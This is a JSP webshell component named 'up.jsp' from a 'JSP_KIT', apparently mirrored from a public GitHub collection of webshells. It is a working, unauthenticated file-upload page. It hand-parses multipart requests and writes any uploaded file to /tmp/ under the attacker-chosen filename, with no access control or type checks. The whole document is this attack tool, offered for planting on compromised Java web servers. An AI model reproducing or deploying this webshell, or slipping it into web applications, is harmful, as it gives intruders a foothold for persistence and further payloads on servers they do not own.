mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
163 lines
3.5 KiB
Text
163 lines
3.5 KiB
Text
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<jsp:useBean id="prop" scope="page" class="java.util.Properties" />
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<%@ page import="java.io.*,java.util.*,javax.servlet.*" %>
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<%
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//
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// JSP_KIT
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//
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// up.jsp = File Upload (unix)
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//
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// by: Unknown
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// modified: 27/06/2003
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//
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%>
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<html>
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<form name="test" method="post" action="" enctype="multipart/form-data">
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<input type="File" name="fichero">
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<input type="Submit" value="Upload" name="Submit">
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</form>
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</html>
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<%!
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public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{
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String boundary = null;
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Enumeration enum = request.getHeaderNames();
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while(enum.hasMoreElements()){
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String header = (String)enum.nextElement();
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String hvalue = request.getHeader(header);
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prop.setProperty((header).toLowerCase(),hvalue);
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if("content-type".equalsIgnoreCase(header) ){
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int idx = hvalue.lastIndexOf("boundary=");
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if(idx != -1 ){
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boundary= hvalue.substring(idx+9 , hvalue.length());
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}
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}
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}
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return boundary;
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}
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public String getFileName(String secondline){
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int len = secondline.length();
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int idx = secondline.lastIndexOf("filename=");
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if(idx == -1 ) return null;
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String filename = secondline.substring(idx+10 , len-1);
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filename = filename.replace('\\','/');
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idx = filename.lastIndexOf("/");
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idx = idx + 1;
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filename = filename.substring( idx );
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return filename;
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}
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%>
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<%
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String DPATH = "/tmp/";
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int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks
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int MAXSIZE = 10; // 10 Mega Byte
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String boundary = getBoundary(request,prop);
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if(boundary == null ){
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boundary = prop.getProperty("boundary");
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}else{
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boundary = "--"+boundary;
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}
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if(boundary == null ){
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return;
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}
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Long contentsize = new Long(prop.getProperty("content-length","0"));
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int c;
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StringWriter st = new StringWriter();
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if(contentsize.longValue() < 1L ){
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return;
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}
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long l = contentsize.longValue() - ROUGHSIZE;
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int KB = 1024;
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int MB = 1024 * KB;
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int csize = (int)(l / MB);
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if(csize > MAXSIZE ){
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return;
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}
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ServletInputStream fin = request.getInputStream();
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int cn;
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int count=0;
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while((c=fin.read()) != -1 ){
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if( c == '\r') break;
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st.write(c);
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count++;
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}
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c=fin.read();
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String tboundary = st.getBuffer().toString();
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tboundary=tboundary.trim();
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if(! tboundary.equalsIgnoreCase( boundary) ){
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return;
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}
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st.close();
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st = null;
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st = new StringWriter();
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while((c=fin.read()) != -1 ){
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if( c == '\r' ) break;
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st.write(c);
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}
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c=fin.read();
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String secondline = st.getBuffer().toString();
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String filename = getFileName(secondline);
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st.close();
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st = null;
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st = new StringWriter();
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while((c=fin.read()) != -1 ){
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if( c == '\r' ) break;
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st.write( c );
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}
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c=fin.read();
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fin.read();
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fin.read();
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File newfile = null;
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FileOutputStream fout =null;
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try{
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if(filename == null) throw new FileNotFoundException("File Name not found");
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newfile = new File(DPATH+filename);
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fout = new FileOutputStream( newfile );
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}catch(FileNotFoundException fnexp){
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fin.close();
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return;
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}
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byte b[] = null;
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while(l > 1024L){
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b = new byte[1024];
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fin.read(b,0,1024);
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fout.write(b);
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b=null;
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l -= 1024L;
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}
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if(l > 0){
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b = new byte[(int)l];
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fin.read(b,0,(int)l);
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fout.write(b);
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}
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ByteArrayOutputStream baos = new ByteArrayOutputStream();
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while((c = fin.read()) != -1){
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baos.write(c);
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}
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String laststring = baos.toString();
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int idx = laststring.indexOf(boundary);
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b = baos.toByteArray();
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if(idx > 2){
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fout.write(b,0,idx-2);
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}else{
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fout.close();
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newfile.delete();
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return;
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}
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fout.flush();
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fout.close();
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fin.close();
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out.println("FileName: " + newfile.getName());
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out.println("FileSize: " + newfile.length());
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%>
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